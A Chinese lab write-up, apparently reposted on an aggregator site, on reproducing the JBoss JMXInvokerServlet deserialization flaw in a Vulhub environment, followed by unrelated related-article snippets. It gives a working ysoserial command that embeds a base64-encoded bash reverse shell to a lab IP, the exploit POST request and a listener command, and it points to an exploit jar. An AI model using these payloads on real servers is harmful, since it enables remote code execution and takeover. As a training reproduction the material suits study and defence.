利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞

JBoss JMXInvokerServlet 反序列化漏洞

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现过程
      • 启动环境
      • 端口设置
          • 浏览器设置
          • BurpSuit设置
      • 复现漏洞
      • 序列化数据生成
      • 发送POC
      • EXP

Vulnhub官方复现教程

https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/

漏洞原理

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

参考文档:

  • https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  • https://www.seebug.org/vuldb/ssvid-89723
  • http://www.freebuf.com/sectool/88908.html
  • https://paper.seebug.org/312/

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/jboss/JMXInvokerServlet-deserialization

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:4分钟
环境启动后,访问http://your-ip:8080/即可看到JBoss默认页面。
在这里插入图片描述

端口设置

浏览器设置

以火狐浏览器FireFox为例,在选项常规网络设置设置,将连接手动代理配置HTTP代理,填写127.0.0.1,端口为8080
在这里插入图片描述

BurpSuit设置

ProxyOptionsProxy Listeners编辑监听端口为8080
在这里插入图片描述
并将ProxyIntercept点击成Intercept is on

复现漏洞

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程可参考jboss/CVE-2017-12149。

序列化数据生成

使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

【注意】上面POC中{}内base64的编码原内容为bash -i >& /dev/tcp/192.168.236.138/3333 0>&1
在这里插入图片描述
【注意注意】!!!ysoserial不要用Powershell!!!一定要用cmd!!!

发送POC

生成好的POC文件.ser,将这个文件作为POST Body发送至/invoker/JMXInvokerServlet即可:

POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 192.168.236.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-java-serialized-object
Content-Length: 4240

【右击选择上传文件,选中POC上传】

在这里插入图片描述
比如我POC中的命令是监听端口,那么就检测对应端口

nv -lvnp [端口号]

在这里插入图片描述

EXP

网上已经有很多EXP了,比如DeserializeExploit.jar
在这里插入图片描述
直接用该工具执行命令、上传文件即可:
[外链图片转存失败(img-S5nPofPe-1562742668389)(https://vulhub.org/vulhub/jboss/JMXInvokerServlet-deserialization/1.png)]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358711.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux mysql 安装启动失败,Linux服务器一键安装包的mysql启动失败

Linux服务器上用一键安装包配置的环境,启动mysql失败,提示如下错误信息:排查方法:1、查看服务器的磁盘空间是否正常,登录服务器执行命令df -h查看磁盘空间,如果服务器的系统盘或者数据盘空间满了&#xff0…

Ubuntu 安装mysql和简单操作

ubuntu上安装mysql非常简单只需要几条命令就可以完成。 1. sudo apt-get install mysql-server2. apt-get isntall mysql-client3. sudo apt-get install libmysqlclient-dev安装过程中会提示设置密码什么的,注意设置了不要忘了,安装完成之后可以使用如…

卖家工具箱源码_我的测试和代码分析工具箱

卖家工具箱源码上周,我们在LINEAS成立了一个“测试技能小组”,该小组用于交换有关测试的知识。 各种各样的问题反复出现的一个问题是:有哪些工具可以测试和分析代码? 因此,这是我对此的个人回答,按照我倾向…

Bash脚本教程之条件判断

目录 if 结构 test 命令 判断表达式 文件判断 字符串判断 整数判断 正则判断 test 判断的逻辑运算

matlab工序能力分析,《MATLAB编程与系统仿真》课程考核说明

《MATLAB编程与系统仿真》课程考核说明1、考核方式及考核时间综合性仿真及报告书(60%)实验成绩(30%)平时成绩(10%),其中实验成绩包括实验和报告。《MATLAB编程与系统仿真》课程是一门实践性比较强的课程,采用传统的试卷考核方式无法体现学生对MATLAB的掌…

在BurpSuite中安装Jython环境

在BurpSuite中安装Jython环境 下载模块 下载地址 https://www.jython.org/download.html 下载 Jython Standalone版本的 打开burp 第一个框子是刚刚下载jar包 第二个时候python的模块文件地址 要到 lib\site-packages里面 成功 转载于:https://blog.csdn.net/w…

在Spring Framework中通过JNDI进行配置

从某个时候开始,应用程序必须是可配置的。 自第一个版本0.9起,Spring Framework就为该问题提供了一个很好的辅助工具,该类为PropertyPlaceholderConfigurer类,而从Spring Framework 3.1起为PropertySourcesPlaceholderConfigurer类…

Bash脚本教程之循环

目录 while 循环 until 循环 for...in 循环 for 循环 break,continue select 结构 Bash 提供三种循环语法for、while和until。 while 循环 while循环有一个判断条件,只要符合条件,就不断循环执行指定的语句。 while condition; docommands done上面代码中,只要满足…

hdu5247 找连续数

Problem Description小度熊拿到了一个无序的数组,对于这个数组,小度熊想知道是否能找到一个k 的区间,里面的 k 个数字排完序后是连续的。现在小度熊增加题目难度,他不想知道是否有这样的 k 的区间,而是想知道有几个这样…

matlab dtft的函数,DTFT的Matlab矩阵计算的理解

其实是早应该想到的,今天写程序的时候想到了。然后,跟同学说起来,说,原来国外的教材很多都是矩阵的形式来表示离散傅里叶变换的。但是国内的教材没有这么表达。一个是,自己看的东西还是少了,一个是&#xf…

xss测试工具(xsstrike基于python)

xsstrike很强 项目地址: https://github.com/s0md3v/XSStrike安装: git clone https://github.com/s0md3v/XSStrike.git使用文档: https://github.com/s0md3v/XSStrike/wiki/Usageusage: xsstrike.py [-h] [-u TARGET] [--data DATA] [-t …

Bash脚本教程之函数

目录 简介 参数变量 return 命令 全局变量和局部变量,local 命令 简介 函数(function)是可以重复使用的代码片段,有利于代码的复用。它与别名(alias)的区别是,别名只适合封装简单的单个命令,函数则可以封装复杂的多行命令。 函数总是在当前 Shell 执行,这是跟脚本…

dcc garch matlab,如何用Eviews或者MATLAB实现DCC-garch模型?

可以在软件中查到说明文件:以下为说明文件的内容In the first box, you should either enter the name of your group or specify the returns as separate series (transforming expressions like dlog() are also allowed). If you wish to use exogenous variabl…

二维GROUP BY

上午参加了个计算机英语三级考试,回来后BA同事让帮忙统计数据。可能刚考完试思维比较混乱, 整理了好大一会没有想明白怎么写。 最后挣扎了快一个小时终于想起来,记下来留个备份; select store_no, brand_code, count(distinct t.d…

Spring Integration Jdbc RowMapper示例

JDBC入站通道适配器的基本功能是执行SQL查询,提取数据并将以Message形式封装的结果集传递到本地通道。 您可以在JDBC入站通道适配器的示例中阅读有关此内容的更多信息。 有效负载的类型由行映射策略决定。 默认情况下会产生类型为List的有效负载,其中每…

Bash脚本教程之数组

目录 创建数组 读取数组 读取单个元素 读取所有成员 默认位置 数组的长度 提取数组序号 提取数组成员

php分页上一页下一页判断,分页(上一页,下一页)

实现功能:出现首页,下一页,上一页,尾页$pagesize2;//分页,已知每页显示几条记录,$pagesize//我们通过在地址栏传递page参数的形式获得当前是第几页,?page1就是第一页,&am…

变量和字符串

变量名就像我们现实社会的名字,把一个值赋值给一个名字时,Ta会存储在内存中,称之为变量(variable),在大多数语言中,都把这种动作称为(给变量赋值)或(把值存储在变量中&am…

Windows安全配置加固

安全配置加固——账号口令 账号优化 目的是为了梳理系统中的账号以及口令,避免默认账号及弱口令的存在 查看账号方式 在Windows中查看账号的方式有以下几种,这里就来简述一下 第一种:开始->运行->compmgmt.msc(进入计算…

Bash脚本教程之set命令

目录 简介 set -u set -x Bash 的错误处理 set -e set -o pipefail 其他参数 set 命令总结 shopt 命令 set命令是 Bash 脚本的重要环节,却常常被忽视,导致